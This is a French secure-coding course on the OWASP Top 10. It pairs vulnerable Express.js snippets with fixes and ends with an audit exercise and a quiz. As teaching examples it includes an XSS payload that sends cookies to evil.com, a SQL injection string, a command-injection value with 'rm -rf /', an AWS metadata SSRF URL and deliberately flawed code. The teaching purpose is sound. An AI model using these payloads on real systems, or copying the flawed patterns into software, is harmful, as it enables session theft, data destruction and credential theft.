Anaïs Sparesotto
Sécurité · OWASPIntermédiaire≈ 2h · 8 chapitres

Les 10 principales failles de sécurité (OWASP Top 10)

Comprendre les risques de sécurité web les plus critiques, savoir les détecter dans le code, et appliquer les corrections standards. Le minimum vital pour mettre du code en prod.

À la fin du cours, tu sais

  • Connaître les 10 risques OWASP majeurs et savoir les nommer
  • Détecter une injection SQL, un XSS ou un IDOR dans un extrait de code
  • Appliquer les corrections standards (paramètres, hashing, headers, cookies)
  • Mettre en place les bons outils en CI (npm audit, helmet, Dependabot)
  • Pratiquer le threat modeling avant d'écrire la première ligne

Prérequis

  • Connaître HTTP, les requêtes et les cookies
  • Avoir développé une mini-app back ou front

Chapitre 1

Comprendre OWASP et le Top 10

Avant de plonger dans les failles, savoir d'où vient ce classement et à quoi il sert vraiment.

Qu'est-ce que l'OWASP

  • OWASP = Open Worldwide Application Security Project, fondation à but non lucratif
  • Publie des standards de sécurité applicative gratuits et open source
  • Le Top 10 est mis à jour environ tous les 4 ans (2017, 2021, 2025 en cours)
  • Cible : les risques applicatifs, pas les failles d'infra ou de réseau

Version actuelle

OWASP Top 10 2021 est la référence officielle. Une mouture 2025 est en cours de finalisation mais pas encore publiée comme stable. On reste donc sur 2021 dans ce cours.

Ressources gratuites OWASP

  • Cheat Sheets : antisèches pratiques par sujet (XSS, CSRF, JWT...)
  • ASVS : Application Security Verification Standard, une checklist détaillée
  • ZAP : scanner de vulnérabilités open source, équivalent gratuit de Burp Suite
  • Threat Dragon : outil de threat modeling

Chapitre 2

A01 · Broken Access Control

Numéro 1 du classement. Un·e utilisateur·ice peut faire ce qu'il ne devrait pas pouvoir faire : voir les données d'un autre compte, escalader ses privilèges, accéder à une API admin.

Les patterns courants

  • IDOR (Insecure Direct Object Reference) : accéder à /api/users/42 alors qu'on est l'utilisateur 7
  • Élévation horizontale : accéder aux données d'un autre user du même niveau
  • Élévation verticale : passer de user à admin
  • Modifications non autorisées : modifier les données d'un·e autre via une requête forgée
Vulnérable : aucune vérification du propriétaire
app.get('/api/invoice/:id', (req, res) => {
  res.json(db.invoice.find(req.params.id));
});
Correction : on vérifie que c'est bien l'invoice du user connecté
app.get('/api/invoice/:id', requireAuth, (req, res) => {
  const inv = db.invoice.find(req.params.id);
  if (!inv) return res.sendStatus(404);
  if (inv.ownerId !== req.user.id) return res.sendStatus(403);
  res.json(inv);
});

La règle absolue

Les contrôles d'accès se font côté serveur, toujours. Une vérification côté client peut être contournée en 30 secondes avec les DevTools. Ne masque jamais un bouton en pensant que ça suffit.

Chapitre 3

A02 · Cryptographic Failures

Tout ce qui touche aux données sensibles : en transit (HTTPS) et au repos (chiffrement, hashing).

Les fondamentaux

  • HTTPS partout, HSTS activé pour forcer le HTTPS
  • Hasher les mots de passe avec bcrypt, argon2 ou scrypt
  • Ne jamais utiliser MD5 ou SHA1 pour des mots de passe (trop rapides, vulnérables aux rainbow tables)
  • Ne pas inventer ta crypto : utilise les libs standard (libsodium, Web Crypto API)
  • Aucun secret en clair dans le repo ni dans les logs
Vulnérable
import crypto from 'crypto';
const hash = crypto.createHash('md5').update(password).digest('hex');
Correction
import bcrypt from 'bcrypt';
const hash = await bcrypt.hash(password, 12);

// Comparaison à la connexion
const ok = await bcrypt.compare(passwordFourni, hashStocke);

Pourquoi un cost de 12

Le 2e argument de bcrypt.hash est le cost factor. Plus il est élevé, plus c'est lent (donc résistant au brute force) mais plus ton serveur dépense de CPU. 10-12 est un bon compromis en 2025.

Chapitre 4

A03 · Injection (SQL, OS, XSS)

L'attaquant glisse du code malveillant dans une entrée utilisateur, qui sera ensuite interprété comme du code. Trois grandes familles.

Injection SQL

Vulnérable : concaténation
db.query(`SELECT * FROM users WHERE email = '${req.body.email}'`);
// Email = "' OR 1=1 --" → renvoie TOUS les users
Correction : requête paramétrée
db.query('SELECT * FROM users WHERE email = ?', [req.body.email]);

Cross-Site Scripting (XSS)

Injecter du JS dans le DOM via une entrée non échappée. L'attaquant peut alors voler des cookies, exécuter du code dans le navigateur de la victime.

Vulnérable
res.send(`<p>Bonjour ${req.query.name}</p>`);
// name = "<script>fetch('//evil.com?c='+document.cookie)</script>"
Correction
import escapeHtml from 'escape-html';
res.send(`<p>Bonjour ${escapeHtml(req.query.name)}</p>`);

// Avec React/Vue/Svelte, l'échappement est automatique :
// <p>Bonjour {name}</p>

OS Command Injection

Quand tu construis une commande shell avec une input utilisateur. exec('ping ' + req.body.host) avec host = '127.0.0.1; rm -rf /' = catastrophe.

La règle universelle

Ne concatène jamais une entrée utilisateur dans du code (SQL, HTML, shell). Utilise des paramètres (SQL), de l'échappement contextuel (HTML), des appels sans shell (spawn avec args, pas exec).

Chapitre 5

A04 · Insecure Design

Une faille pensée dès l'architecture, pas un bug isolé. La plus difficile à corriger après coup.

Exemples concrets

  • Récupération de mot de passe par questions secrètes (nom de jeune fille, ville de naissance) : facile à deviner via réseaux sociaux
  • Pas de rate limiting sur les endpoints sensibles (login, reset password) : brute force possible
  • Workflows métier qui contournent la sécurité : un coupon de réduction utilisable plusieurs fois si l'utilisateur·ice rejoue la requête
  • Pas de vérification de cohérence : ajouter au panier une quantité négative pour déduire du total

Threat modeling : penser comme un attaquant

Au démarrage d'une feature, prends 30 minutes pour lister : quelles sont les ressources sensibles, qui peut y accéder, par où un attaquant pourrait passer, quelles mitigations. Le framework STRIDE (Spoofing, Tampering, Repudiation, Info disclosure, DoS, Elevation) est un bon point de départ.

Abuse cases

Pour chaque user story, ajoute des abuse cases : « En tant qu'attaquant, je veux contourner X ». Ça pousse à concevoir des protections dès le départ, pas après l'incident.

Chapitre 6

A05 et A06 · Configuration et composants vulnérables

Deux failles voisines liées à l'environnement et aux dépendances. Souvent les plus faciles à corriger.

A05 · Security Misconfiguration

  • Ports ouverts inutilement (admin DB exposé sur internet)
  • Comptes par défaut laissés actifs (admin / admin)
  • Messages d'erreur trop bavards en prod (stack trace complète, version du framework)
  • Headers de sécurité manquants (CSP, X-Frame-Options, X-Content-Type-Options)
  • CORS ouvert à * sur des endpoints sensibles
Express : utiliser Helmet pour les headers de base
import express from 'express';
import helmet from 'helmet';

const app = express();

// Active une douzaine de headers de sécurité par défaut
app.use(helmet());

// CSP plus stricte
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],
    styleSrc: ["'self'", "'unsafe-inline'"],
  },
}));

A06 · Vulnerable & Outdated Components

  • Dépendances avec des CVE connues non patchées
  • Anciennes versions de Node, runtime, framework
  • Libs non maintenues (commit le plus récent il y a 3 ans)
# Scanner les vulnérabilités connues
npm audit
npm audit --audit-level=high

# En CI, bloquer si vulnérabilité haute
npm audit --audit-level=high --omit=dev

# Outils alternatifs / complémentaires
npx snyk test
npx trivy fs .

Dependabot et Renovate

Active Dependabot dans les paramètres de ton repo GitHub : il ouvre automatiquement des PR pour mettre à jour les dépendances vulnérables. Avec une CI qui tourne, tu valides en un clic.

Chapitre 7

A07 · Identification et Authentification défaillantes

Tout ce qui touche au login, à la session, et à la gestion des identités.

Les écueils classiques

  • Mots de passe faibles autorisés (123456, password)
  • Pas de MFA (Multi-Factor Authentication) sur les comptes sensibles
  • Sessions sans expiration, ou identifiants prévisibles
  • Brute force possible faute de rate limiting
  • Cookies de session sans HttpOnly, Secure, SameSite
  • Énumération de comptes : « utilisateur·ice inconnu·e » vs « mot de passe incorrect »
Vulnérable
res.cookie('sid', token);
// Pas HttpOnly : le JS de la page peut le lire (XSS = vol de session)
// Pas Secure : envoyé même en HTTP
// Pas SameSite : vulnérable au CSRF
Correction
res.cookie('sid', token, {
  httpOnly: true,    // Inaccessible en JS
  secure: true,      // HTTPS uniquement
  sameSite: 'lax',   // Mitige le CSRF
  maxAge: 1000 * 60 * 60 * 8,  // 8h max
});

Rate limiting sur le login

Sans limite, un script peut tester 1000 mots de passe par seconde. Avec express-rate-limit ou équivalent, limite à 5 tentatives par 15 minutes. Bloque l'IP, voire le compte cible, après plusieurs échecs.

Chapitre 8

A08, A09, A10 · Intégrité, logs et SSRF

Trois risques plus récents mais critiques en environnement cloud moderne.

A08 · Software and Data Integrity

  • Pipelines CI/CD non signés : un attaquant injecte du code via une action GitHub compromise
  • Dépendances tirées sans vérification d'intégrité (pas de package-lock.json commité)
  • Désérialisation non sûre (JSON.parse avec un reviver qui exécute du code)

Mitigations : commits signés (GPG ou SSH), package-lock.json en lecture seule en CI (npm ci), pinning des actions GitHub par SHA, Subresource Integrity (SRI) sur les scripts tiers.

A09 · Security Logging and Monitoring Failures

  • Pas de log sur les échecs d'auth, les changements de droits, les opérations sensibles
  • Pas d'alerte sur comportement anormal (1000 tentatives de login en 1 minute)
  • Logs stockés mais jamais relus

Que logger

Authentifications (succès et échecs), changements de droits, accès admin, paiements, modifications de données sensibles. Avec contexte : IP, user agent, timestamp, id utilisateur·ice. Et jamais de mot de passe ni de token dans les logs.

A10 · Server-Side Request Forgery (SSRF)

Ton serveur fait une requête HTTP vers une URL fournie par un·e utilisateur·ice (preview de lien, import de fichier distant). L'attaquant pointe vers une URL interne à laquelle ton serveur a accès, mais pas le public.

Cas classique en cloud
// User envoie : url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
// → URL spéciale AWS, renvoie les credentials de l'instance EC2 !

const response = await fetch(req.body.url);  // Vulnérable
res.send(await response.text());
Mitigation
const url = new URL(req.body.url);

// Whitelist de domaines autorisés
const ALLOWED_HOSTS = ['api.exemple.fr', 'cdn.exemple.fr'];
if (!ALLOWED_HOSTS.includes(url.hostname)) {
  return res.sendStatus(400);
}

// Bloquer les IP privées (10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x)
// Utiliser la lib 'ipaddr.js' pour ça

const response = await fetch(url);
res.send(await response.text());

🛠️ Exercice optionnel

Trouver les failles dans une mini-app Express

Un junior te fait relire son code. À toi de jouer le rôle d'auditeur sécurité : combien de failles trouves-tu, et comment les corriges-tu ?

Ta mission

Code à auditer :

const express = require('express');
const app = express();
app.use(express.json());

app.get('/search', (req, res) => {
  const q = req.query.q;
  db.query("SELECT * FROM products WHERE name LIKE '%" + q + "%'", (err, rows) => {
    res.send(`<h1>Résultats pour ${q}</h1>` + JSON.stringify(rows));
  });
});

app.post('/login', (req, res) => {
  const { user, pass } = req.body;
  db.query(`SELECT * FROM users WHERE u='${user}' AND p='${pass}'`, (err, rows) => {
    if (rows.length) res.cookie('sid', user).send('ok');
  });
});

app.listen(3000);
  1. Identifie au moins 5 failles (cite les A0X correspondants du Top 10).
  2. Réécris le code avec les corrections appropriées.
  3. Liste 2 mitigations de design qui ne sont pas dans le code mais que tu recommanderais.

Tu bloques ? Des indices, à dévoiler quand tu en as besoin.

Indice 1

Indice masqué.

Indice 2

Indice masqué.

Indice 3

Indice masqué.

✅ QCM de fin de cours

Teste tes acquis

10 questions, plusieurs réponses parfois possibles. Coche tout ce qui te semble juste, puis valide pour voir ton score et les explications.

  1. 1

    À quoi sert l'OWASP Top 10 ?

  2. 2

    Quelle est la faille n°1 du Top 10 2021 ?

  3. 3

    Quel algorithme pour hasher un mot de passe ?

  4. 4

    Comment empêcher une injection SQL ?

  5. 5

    Quel header HTTP limite le risque d'XSS ?

  6. 6

    Que fait le flag httpOnly sur un cookie ?

  7. 7

    Quelle commande détecte les dépendances vulnérables en Node.js ?

  8. 8

    Une SSRF, qu'est-ce que c'est ?

  9. 9

    MFA signifie ?

  10. 10

    À quelle étape du cycle de vie corrige-t-on principalement l'Insecure Design (A04) ?

Tu peux laisser des questions sans réponse, elles compteront comme fausses.

Tu veux ce cours pour ton équipe ?

Je peux adapter et animer ce cours pour tes formateur·ices ou tes apprenant·es, en présentiel ou en distanciel. Parlons-en pendant l'audit gratuit.

Réserver un audit gratuit →